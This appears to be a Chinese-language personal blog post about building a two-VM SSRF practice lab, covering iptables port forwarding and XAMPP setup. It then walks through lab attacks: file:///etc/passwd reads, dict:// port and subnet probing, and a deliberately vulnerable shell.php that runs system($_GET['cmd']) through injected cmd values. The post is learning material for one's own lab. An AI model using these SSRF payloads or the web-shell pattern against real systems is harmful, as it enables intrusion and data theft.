内网场景搭建

目的

为了更好地熟悉ssrf

需求

根据https://github.com/sqlsec/ssrf-vuls/tree/main的靶场拓扑图搭建

搭建需求:目标机存在ssrf漏洞,有一个公网映射80:8080,而与目标机同局域网下的其它内网有各自的漏洞

搭建思路

由于电脑配置原因,我这里选择只搞两个虚拟机,一个为目标机,另一个作为可替换的局域网机

问题:对目标机如何进行端口映射

思路1:

常见的端口映射需要用到路由器的端口转发功能;

虚拟机这里,emmm多加张网卡

首先配置内部局域网网段

对于目标机而言,第一块网卡,选VMnet3(172.x),第二块网卡选桥接(作为外网192.x,即与攻击机同网段)

接下来是尝试将172.x:80到192.x:8080

因为一般来讲的端口映射,貌似都是单ip的多端口映射

所以这里缺一个方法,使得双ip之间映射

端口映射有三种情况嘛:1.动态公网IP(DDNS);2.内网穿透(无公网IP);3.直接绑定(有固定公网IP)

思路2:

这里考虑内网穿透

因为考虑到目标机既能被外网访问,又做了个端口映射。

这个目标机我可以由两个机子组成,内网A,外网B;用proxychains或者其它**内网穿透工具(frp、nat123)**将这两个机器(网卡)映射一下即可;这样就是访问B的8080端口,就相当于访问了A的80端口的目的了;当然更通俗地理解,可以买个vps直接当公网

思路3

有没有一种可能,思路2也是思路1的解决方案之一呢?

为了解决思路1的问题,

iptables可以配置一下

那中间件nginx配置一下

apache是否可以配置一下呢

ip设置

在那之前,把配置搞好,我centos的两个网卡有问题,需要手动配置一遍

1
2
cd /etc/sysconfig/network-scripts/
#将ifcfg-*的设置一下,我为了方便,用dhcp模式,不静态了,因为两张网卡我有点分不清哪个是外网内网,让它自己分配

最终配置如下:(centos可以ping通www.baidu即可)

机器 内网 外网
目标机 172.72.23.21 192.168.1.99
攻击机 192.168.1.142

我之前装过xampp的,然后物理机访问一下

1
2
http://192.168.1.99/dashboard/ #出现xampp默认页面,没问题
靶机呢,自己用内网ip访问也没问题

但是呢,要搞成如下效果

1
http://192.168.1.99:8080 ,实则是访问 http://172.72.23.21

这里还牵扯到apache配置,慢慢来,(nginx代理会不会更好一点)

1
2
3
4
5
/opt/lampp/apache2/conf/httpd.conf


#sudo /opt/lampp/lampp restartapache
sudo /opt/lampp/bin/apachectl restart

iptables实现一个NAT转发功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# echo 1 > /proc/sys/net/ipv4/ip_forward #不需要

#iptables使用示例
PREROUTING 链中的规则可以用于修改数据包的目标地址(Destination Address),进行端口转发(Port Forwarding)等操作。
iptables -t nat -A PREROUTING -d 172.72.23.21 -p tcp --dport 80 -j DNAT --to-destination 192.168.1.99:8080

iptables -t nat -D PREROUTING -p tcp --dport 80 -d 172.72.23.21 -j DNAT --to-destination 192.168.1.99:8080

iptables -t nat -A POSTROUTING -d 192.168.1.99 -p tcp --dport 8080 -j SNAT --to 172.72.23.21

iptables -t nat -D POSTROUTING -d 192.168.1.99 -p tcp --dport 8080 -j SNAT --to 172.72.23.21

#临时保存
iptables -t nat -A PREROUTING -p tcp -d 192.168.1.99 --dport 8080 -j DNAT --to-destination 172.72.23.21:80
将去往 IP 地址为 192.168.1.99、目标端口为 8080 的 TCP 流量进行目标地址转换 (DNAT),将其转发到 IP 地址为 172.72.23.21 的目标服务器的端口 80。

iptables -t nat -D PREROUTING -p tcp -d 192.168.1.99 --dport 8080 -j DNAT --to-destination 172.72.23.21:80

sudo iptables -t nat -L -n
iptables -nvL --line-number
#
target prot opt source destination
DNAT tcp -- 192.168.1.99 0.0.0.0/0 tcp dpt:8080 to:172.72.23.21:80

#开放端口
iptables -A INPUT -p tcp -d 192.168.1.0/24 --dport 8080 -j ACCEPT
iptables -A INPUT -p tcp -d 192.168.1.0/24 --dport 80 -j DROP

搞了半天,xampp的配置文件,在*/opt/lampp/etc/httpd.conf**里,虽然该文件可以包含apache2/httpd.conf的内容,但是配置不当会冲突,比如导致权限问题

分析一下,首先,该文件监听80端口的,不考虑iptables的情况下,任何主机对两个ip的访问都是从80端口进入的;如果要实现对ip2的8080端口访问,那就可以Listen ip:8080,但这样不符合公网的端口映射思想;

对配置文件进行,Require ip 172.x/24的话,是限制了来源ip的访问;我的目的是将对目标ip2:8080的访问,转移到ip1:80;这一点iptables已经做到了;

剩下的是只允许访问192.168.1.99的8080端口,那就是iptables做个drop即可吧

1
2
3
4
5
6
7
8
9
10
11
iptables -A INPUT -p tcp -d 192.168.1.0/24 --dport 8080 -j ACCEPT
iptables -A INPUT -p tcp -d 192.168.1.0/24 --dport 80 -j DROP
iptables -t nat -A PREROUTING -p tcp -d 192.168.1.99 --dport 8080 -j DNAT --to-destination 172.72.23.21:80

iptables -A INPUT -p tcp --dport 22 -j ACCEPT
/opt/lampp/etc/httpd.conf 更改位置
/home/aaa/web/172.72.23.22-CodeExec
/home/xg/web/172.72.23.22-CodeExec
/home/xg/ssrf-vuls-main/172.72.23.21-SSRF

sudo /opt/lampp/lampp restartapache

一、ssrf

公网页面

内网站点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
file:///etc/passwd #是有东西出来的

抓包是这样的:有个url参数
url=http%3A%2F%2F127.0.0.1%2Fdashboard


#dict/http协议爆破端口
dict://127.0.0.1:22 #得到22端口信息
SSH-2.0-OpenSSH_7.4
Protocol mismatch.

dict://127.0.0.1:80
HTTP/1.1 400 Bad Request

#http内网文件探测
http://127.0.0.1/dashboard/ #显示内容为xampp默认文件内容

#内网段探测
file:///etc/hosts #一般是会显示配置的网段信息的,我这里没配,只有127.0.0.1,假设已知172.72.23.21了

进一步利用,继续用dict协议,爆破C段和端口(可以用到bp)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
dict://172.72.23.?:? 用bp遍历即可
dict://172.72.23.22:80 #报错400
http://172.72.23.22:80 #是访问到了22的原内容的
Hello CodeExec
可以进一步扫描php文件,这个内容是一个代码执行的网站,即shell.php

http://172.72.23.22:80/shell.php #比如扫到了一个文件,可以看它的参数
<?php
highlight_file(__FILE__);
error_reporting(0);

system($_GET['cmd']);
?>

http://172.72.23.22:80/shell.php?cmd=ls
http://172.72.23.22:80/shell.php?cmd=cat%09flag

其它的就类推下去了

在这里主要是熟悉一下传说中的gopher协议

1
2
3
4
5
6
7
8
在网页中
http://192.168.1.142:1332/abc
在nc.py文件中
PS E:\VS project\py> python nhash.py -l 1332
[ncat]# whoami
GET /abc HTTP/1.1
Host: 192.168.1.142:1332
Accept: */*

我电脑卡死了,接下来口嗨

gopher以后再用,参考下面的链接,貌似是用来打redis、mysql的

http://t.csdnimg.cn/bnmnl

参考资料

端口映射 https://blog.csdn.net/suswulongyuan/article/details/106737145

iptables端口映射 http://t.csdnimg.cn/QNnrB

centos7 ip配置 http://t.csdnimg.cn/OTJLY

1
2
3
4
5
cd /etc/sysconfig/network-scripts/

ip addr

service network restart # 重启网络服务

vm添加网卡,但centos并无该文件 http://t.csdnimg.cn/aIYwb

nmtui命令进行添加

nmcli con show

centos桥接上不了网:http://t.csdnimg.cn/O49a6

vmet0选定桥接网卡

1
2
3
XAMPP: Stopping Apache...fail.
考虑是本机有一个apache占用了
或者是 Listen 和<Virtualhost>的冲突

内外网iptables https://blog.csdn.net/boyemachao/article/details/107059329

iptables 操作手册 https://blog.csdn.net/weixin_35642637/article/details/112617332

http://t.csdnimg.cn/J7fuu

克隆虚拟机引起的冲突问题 http://t.csdnimg.cn/HpqPF

1
2
3
4
5
6
7
8
9
关掉方法:

systemctl stop NetworkManager

systemctl disable NetworkManager

重新启动网络:

systemctl start network.service

问题记录

1.没配置前,物理机可以通过ip访问到xampp内容;配置后,403页面了

在这里的配置我只用了apache2/conf/httpd.conf,物理机是可以ping通虚拟机的

1
2
3
4
5
6
7
8
/bin/apachectl restart
xampp重启
...
我笑了,我挂了代理;但显示访问被拒绝
iptables开放80端口;不行
systemctl stop firewalld;显示响应时间过长 #sudo systemctl stop firewalld重新启用
哦,xampp服务没有启用,6
好好好,apache2/conf/httpd.conf配置有问题(虽然我没看出来,我把内容全部注释掉了),和/opt/lampp/etc/httpd.conf冲突了

总结

配置前没意识到的问题都不算问题,只有在配置的后,再简单的东西也会出错,嘶,多实践,多想,多思考为什么;

学到搭配这个东西就很好了,其它的都是基础知识,对ssrf进行内网探测更熟练一点

端口探测->http协议尝试访问->尝试访问其它内网ip,目录扫描等->以便寻找薄弱点

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2023-2025 是羽泪云诶
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信